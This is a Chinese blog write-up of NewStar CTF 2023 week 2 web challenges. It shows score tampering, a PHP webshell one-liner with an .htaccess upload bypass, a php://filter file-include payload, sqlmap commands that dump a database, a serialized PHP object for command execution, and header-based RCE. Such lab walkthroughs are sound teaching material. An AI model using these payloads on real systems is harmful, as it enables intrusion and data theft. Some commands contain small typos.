New Star CTF 2023 week2|web

前言

最近New Star CTF和0xGame都在打,就web而言还是New Star CTF的更加简单和基础,0xGame的质量更高,题目更难。

游戏高手

打开题目,发现是一个js游戏

image-20231011232111002

看到这种题目就先想到会不会是前端的js代码修改一下就行,这里就很奇怪,不知道火狐怎么改前端的js代码,只会在谷歌改,但是谷歌没设置代理,后续抓不了包,所以决定在burp的内置浏览器上操作,内置浏览器也是谷歌。

image-20231011232618686

分析一下主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function gameover(){
if(gameScore > 100000){//分数要超过1000000,我们可以修改来降低触发难度
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);//用post方法来提交参数,用于后端检测
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,//后端得到的代码,也是我们需要抓包后修改的post里的内容
};
xhr.send(JSON.stringify(data));//后端上传验证
}
alert("成绩:"+gameScore);//前端返回界面,没什么用
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}

我们知道了之后,就把分数改为10,然后在超过10分的时候自杀来抓包

image-20231011233909076

可以看到后端验证的score上传点,我们改为比100000大的数字再重发就行

image-20231011234006280

得到了flag:flag{751524ef-f0b1-4356-a62a-6fabe8608a72}

upload again!

打开环境,发现可能存在文件上传漏洞,我们先传一个图片试试

image-20231012102343714

发现上传成功,然后试一下图片码上传

image-20231012102839253

发现可能有内容检测,我们再试一下到底过滤了什么,最后发现过滤了‘<?’

image-20231012103040181

那就试试绕过,用以下代码试一下(php<7)

1
2
3
<?cript language="php">
eval($_POST[2333]);
</script>

image-20231012103251598

发现上传成功,接下来如果直接访问这个文件地址是不行的,因为不是php文件,不能代码执行。可以用的方法,要么存在文件包含漏洞来包含这个文件,要么就上传.htaccess来把.gif文件解析成php文件,然后进行代码执行,如果都不可以,那么就只能试试其它方法了,我们先试试上传.htaccess文件

文件内容如下

image-20231012103533210

表示我们将目录下的.gif文件都解析成php

接下来上传

image-20231012103616908

发现可以,那我们再访问之前图片码b.gif的路径,看看有没有解析成php文件

image-20231012103734629

发现解析成功了,最后就是一句话木马的执行了

image-20231012103922671

得到flag:flag{ef639d8b-86d5-46e2-846e-9bed9cfd04ab}

[include 0。0]

image-20231012201943059

文件包含漏洞,用php伪协议,但过滤器要使用别的(之后打算出一期专门的php伪协议绕过)

1
php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

image-20231012202309400

flag{fc5f9e15-f502-4218-8390-15bde5613dfd}

[ez_sql]

image-20231012202408760

判断sql注入点是get传参的id,先去试一下sqlmap可不可以

1
sqlmap -u "http://b69a0412-980f-42ba-adf3-72a3aa95b005.node4.buuoj.cn:81/?id=TMP0919"

image-20231012202739232

image-20231012202816937

发现注入成功,接下来爆数据库

1
sqlmap -u "http://b69a0412-980f-42ba-adf3-72a3aa95b005.node4.buuoj.cn:81/?id=TMP0919" -dbs

image-20231012202956531

发现6个数据库名,判断flag在ctf这个数据库当中,接下来爆数据库的表名

1
sqlmap -u "http://b69a0412-980f-42ba-adf3-72a3aa95b005.node4.buuoj.cn:81/?id=TMP0919" -D ctf --tables

image-20231012203235151

发现flag存在的表名,那么接下来爆字段

1
sqlmap -u "http://b69a0412-980f-42ba-adf3-72a3aa95b005.node4.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag --columns 

image-20231012203403010

发现字段是flag,接下来就是直接看flag了

1
sqlmap -u "http://b69a0412-980f-42ba-adf3-72a3aa95b005.node4.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag -C flag --dump

image-20231012203509772

flag{2606401b-f0a1-41c2-b889-cfac8910bdd7}

成功得到flag

[Unserialize]

image-20231012203655366

是php反序列化题和绕过,最后看flag的时候可以尝试用sort代替cat

整体思路就是对this->cmd赋值,然后反序列化时触发__destruct魔术方法,然后成功命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __construct()
{
$this->cmd="sort /th1s_1s_fffflllll4444aaaggggg";//cat th1s_1s_fffflllll4444aaaggggg
}
}
$a=new evil();
print (urlencode(serialize($a)));
?>
//O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22sort+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

image-20231012204013589

flag{297f5fb0-c3f5-4521-a3db-cf535ba3b8c1}

[R!!C!!E!!]

打开题目环境

image-20231014180331531

提示有泄露,那就先目录扫描一下用dirmap

1
python dirmap.py -u https://......... -lcf

扫出来有.git/config文件,首先考虑的是git源码泄露,所以先用githack来爬一下源码

1
python github.py python GitHack.py http://www.openssl.org/.git/

image-20231014180818019

发现可疑文件bo0g1pop.php,先打开来看看

image-20231014180856547

经典rce无参绕过

**getallheaders()**:获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用
传入?code=print_r(getallheaders());,数组返回 HTTP 请求头

eset() 将一个数组的内部指针重置到首位,并返回第一个元素的值
end() 将一个数组的内部指针移动到数组的最后一个元素所在的位置,并返回最后一个元素的值
prev() 移动数组指针到上一位,返回该位的值,当该位没有元素或是空数组时返回false
next() 移动数组指针到下一位,返回该位的值,当该位没有元素或是空数组时返回false
key() 返回当前指针所指向的元素的键,当指针所指的那一位没有元素返回null,空数组返回null
current() 返回当前数组指针所指向的值,指针移动超出了数组的末尾或数组为空时返回false
each() 返回当前指针所指的元素的值和键,并且移动指针到下一位
我们先打印一下请求头

image-20231014181309496

发现只有第二个请求头可以改,所以要用next指向第二个请求头

image-20231014181441370

发现成功了,接下来就是修改第二个请求头,呀就是user-agent的内容,变成一个可执行的linux命令

image-20231014181746066

只后就直接看flag了

image-20231014181822118

flag{cec09f13-bc48-403a-9ecd-89d538cfa6aa}


New Star CTF 2023 week2|web
http://www.qetx.top/posts/50455/
作者
Qetx.Jul.27
发布于
2023年10月11日
许可协议